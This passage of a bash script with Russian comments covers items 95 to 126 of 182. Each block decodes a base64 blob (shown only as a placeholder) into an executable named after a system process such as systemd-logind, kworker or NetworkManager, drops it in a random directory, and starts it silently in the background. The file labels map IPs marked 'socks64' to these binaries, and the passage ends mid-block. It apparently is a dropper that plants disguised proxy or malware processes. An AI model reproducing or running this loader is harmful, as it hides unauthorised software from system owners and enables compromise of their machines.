    # Файл 95: 185.93.89.16664 -> systemd-logind-178
    echo "🔧 [95/182] Deploying systemd-logind-178"
    
    # Собираем данные из частей
    FILE_DATA_94="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-178"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_94" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-178 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-178 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-178"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-178"
        failed=$((failed + 1))
    fi
    

    # Файл 96: 185.93.89.16632 -> NetworkManager-102
    echo "🔧 [96/182] Deploying NetworkManager-102"
    
    # Собираем данные из частей
    FILE_DATA_95="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-102"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_95" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-102 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-102 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-102"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-102"
        failed=$((failed + 1))
    fi
    

    # Файл 97: 185.93.89.18364 -> NetworkManager-316
    echo "🔧 [97/182] Deploying NetworkManager-316"
    
    # Собираем данные из частей
    FILE_DATA_96="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-316"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_96" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-316 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-316 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-316"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-316"
        failed=$((failed + 1))
    fi
    

    # Файл 98: 185.93.89.18332 -> dbus-daemon-144
    echo "🔧 [98/182] Deploying dbus-daemon-144"
    
    # Собираем данные из частей
    FILE_DATA_97="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-144"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_97" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-144 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-144 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-144"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-144"
        failed=$((failed + 1))
    fi
    

    # Файл 99: 185.93.89.17864 -> NetworkManager-908
    echo "🔧 [99/182] Deploying NetworkManager-908"
    
    # Собираем данные из частей
    FILE_DATA_98="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-908"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_98" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-908 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-908 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-908"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-908"
        failed=$((failed + 1))
    fi
    

    # Файл 100: 185.93.89.17832 -> systemd-resolved-132
    echo "🔧 [100/182] Deploying systemd-resolved-132"
    
    # Собираем данные из частей
    FILE_DATA_99="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-132"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_99" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-132 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-132 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-132"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-132"
        failed=$((failed + 1))
    fi
    

    # Файл 101: 185.93.89.17964 -> watchdog-303
    echo "🔧 [101/182] Deploying watchdog-303"
    
    # Собираем данные из частей
    FILE_DATA_100="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-303"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_100" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-303 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-303 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-303"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-303"
        failed=$((failed + 1))
    fi
    

    # Файл 102: 185.93.89.17932 -> rsyslog-171
    echo "🔧 [102/182] Deploying rsyslog-171"
    
    # Собираем данные из частей
    FILE_DATA_101="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-171"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_101" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-171 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-171 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-171"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-171"
        failed=$((failed + 1))
    fi
    

    # Файл 103: 185.93.89.19132 -> chronyd-588
    echo "🔧 [103/182] Deploying chronyd-588"
    
    # Собираем данные из частей
    FILE_DATA_102="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-588"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_102" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-588 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-588 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-588"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-588"
        failed=$((failed + 1))
    fi
    

    # Файл 104: 185.93.89.14964 -> chronyd-391
    echo "🔧 [104/182] Deploying chronyd-391"
    
    # Собираем данные из частей
    FILE_DATA_103="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-391"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_103" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-391 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-391 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-391"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-391"
        failed=$((failed + 1))
    fi
    

    # Файл 105: 185.93.89.14932 -> systemd-resolved-561
    echo "🔧 [105/182] Deploying systemd-resolved-561"
    
    # Собираем данные из частей
    FILE_DATA_104="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-561"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_104" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-561 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-561 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-561"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-561"
        failed=$((failed + 1))
    fi
    

    # Файл 106: 185.93.89.183.32 -> kworker-544
    echo "🔧 [106/182] Deploying kworker-544"
    
    # Собираем данные из частей
    FILE_DATA_105="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-544"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_105" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-544 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-544 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-544"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-544"
        failed=$((failed + 1))
    fi
    

    # Файл 107: 185.93.89.143_socks64 -> dbus-daemon-350
    echo "🔧 [107/182] Deploying dbus-daemon-350"
    
    # Собираем данные из частей
    FILE_DATA_106="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-350"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_106" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-350 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-350 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-350"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-350"
        failed=$((failed + 1))
    fi
    

    # Файл 108: 185.93.89.144_socks64 -> rcu_gp-961
    echo "🔧 [108/182] Deploying rcu_gp-961"
    
    # Собираем данные из частей
    FILE_DATA_107="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-961"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_107" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-961 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-961 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-961"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-961"
        failed=$((failed + 1))
    fi
    

    # Файл 109: 185.93.89.145_socks64 -> rcu_gp-264
    echo "🔧 [109/182] Deploying rcu_gp-264"
    
    # Собираем данные из частей
    FILE_DATA_108="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-264"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_108" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-264 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-264 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-264"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-264"
        failed=$((failed + 1))
    fi
    

    # Файл 110: 185.93.89.146_socks64 -> NetworkManager-512
    echo "🔧 [110/182] Deploying NetworkManager-512"
    
    # Собираем данные из частей
    FILE_DATA_109="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-512"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_109" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-512 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-512 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-512"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-512"
        failed=$((failed + 1))
    fi
    

    # Файл 111: 185.93.89.147_socks64 -> chronyd-931
    echo "🔧 [111/182] Deploying chronyd-931"
    
    # Собираем данные из частей
    FILE_DATA_110="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-931"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_110" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-931 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-931 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-931"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-931"
        failed=$((failed + 1))
    fi
    

    # Файл 112: 185.93.89.149_socks64 -> systemd-resolved-883
    echo "🔧 [112/182] Deploying systemd-resolved-883"
    
    # Собираем данные из частей
    FILE_DATA_111="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-883"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_111" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-883 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-883 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-883"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-883"
        failed=$((failed + 1))
    fi
    

    # Файл 113: 185.93.89.150_socks64 -> rcu_gp-948
    echo "🔧 [113/182] Deploying rcu_gp-948"
    
    # Собираем данные из частей
    FILE_DATA_112="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-948"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_112" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-948 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-948 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-948"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-948"
        failed=$((failed + 1))
    fi
    

    # Файл 114: 185.93.89.151_socks64 -> rcu_gp-886
    echo "🔧 [114/182] Deploying rcu_gp-886"
    
    # Собираем данные из частей
    FILE_DATA_113="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-886"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_113" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-886 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-886 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-886"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-886"
        failed=$((failed + 1))
    fi
    

    # Файл 115: 185.93.89.152_socks64 -> kworker-593
    echo "🔧 [115/182] Deploying kworker-593"
    
    # Собираем данные из частей
    FILE_DATA_114="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-593"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_114" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-593 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-593 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-593"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-593"
        failed=$((failed + 1))
    fi
    

    # Файл 116: 185.93.89.153_socks64 -> kworker-768
    echo "🔧 [116/182] Deploying kworker-768"
    
    # Собираем данные из частей
    FILE_DATA_115="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-768"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_115" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-768 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-768 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-768"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-768"
        failed=$((failed + 1))
    fi
    

    # Файл 117: 185.93.89.155_socks64 -> systemd-logind-986
    echo "🔧 [117/182] Deploying systemd-logind-986"
    
    # Собираем данные из частей
    FILE_DATA_116="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-986"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_116" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-986 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-986 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-986"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-986"
        failed=$((failed + 1))
    fi
    

    # Файл 118: 185.93.89.156_socks64 -> rcu_gp-607
    echo "🔧 [118/182] Deploying rcu_gp-607"
    
    # Собираем данные из частей
    FILE_DATA_117="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-607"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_117" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-607 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-607 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-607"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-607"
        failed=$((failed + 1))
    fi
    

    # Файл 119: 185.93.89.157_socks64 -> NetworkManager-410
    echo "🔧 [119/182] Deploying NetworkManager-410"
    
    # Собираем данные из частей
    FILE_DATA_118="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-410"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_118" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-410 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-410 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-410"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-410"
        failed=$((failed + 1))
    fi
    

    # Файл 120: 185.93.89.158_socks64 -> kworker-871
    echo "🔧 [120/182] Deploying kworker-871"
    
    # Собираем данные из частей
    FILE_DATA_119="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-871"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_119" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-871 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-871 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-871"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-871"
        failed=$((failed + 1))
    fi
    

    # Файл 121: 185.93.89.159_socks64 -> ksoftirqd-371
    echo "🔧 [121/182] Deploying ksoftirqd-371"
    
    # Собираем данные из частей
    FILE_DATA_120="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-371"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_120" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-371 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-371 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-371"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-371"
        failed=$((failed + 1))
    fi
    

    # Файл 122: 185.93.89.162_socks64 -> rsyslog-866
    echo "🔧 [122/182] Deploying rsyslog-866"
    
    # Собираем данные из частей
    FILE_DATA_121="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-866"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_121" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-866 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-866 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-866"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-866"
        failed=$((failed + 1))
    fi
    

    # Файл 123: 185.93.89.163_socks64 -> watchdog-677
    echo "🔧 [123/182] Deploying watchdog-677"
    
    # Собираем данные из частей
    FILE_DATA_122="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-677"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_122" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-677 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-677 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-677"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-677"
        failed=$((failed + 1))
    fi
    

    # Файл 124: 185.93.89.164_socks64 -> systemd-resolved-311
    echo "🔧 [124/182] Deploying systemd-resolved-311"
    
    # Собираем данные из частей
    FILE_DATA_123="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-311"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_123" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-311 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-311 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-311"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-311"
        failed=$((failed + 1))
    fi
    

    # Файл 125: 185.93.89.165_socks64 -> rsyslog-115
    echo "🔧 [125/182] Deploying rsyslog-115"
    
    # Собираем данные из частей
    FILE_DATA_124="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-115"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_124" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-115 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-115 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-115"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-115"
        failed=$((failed + 1))
    fi
    

    # Файл 126: 185.93.89.166_socks64 -> migration-863
    echo "🔧 [126/182] Deploying migration-863"
    
    # Собираем данные из частей
    FILE_DATA_125="[encoded data, 17132 characters]"
    
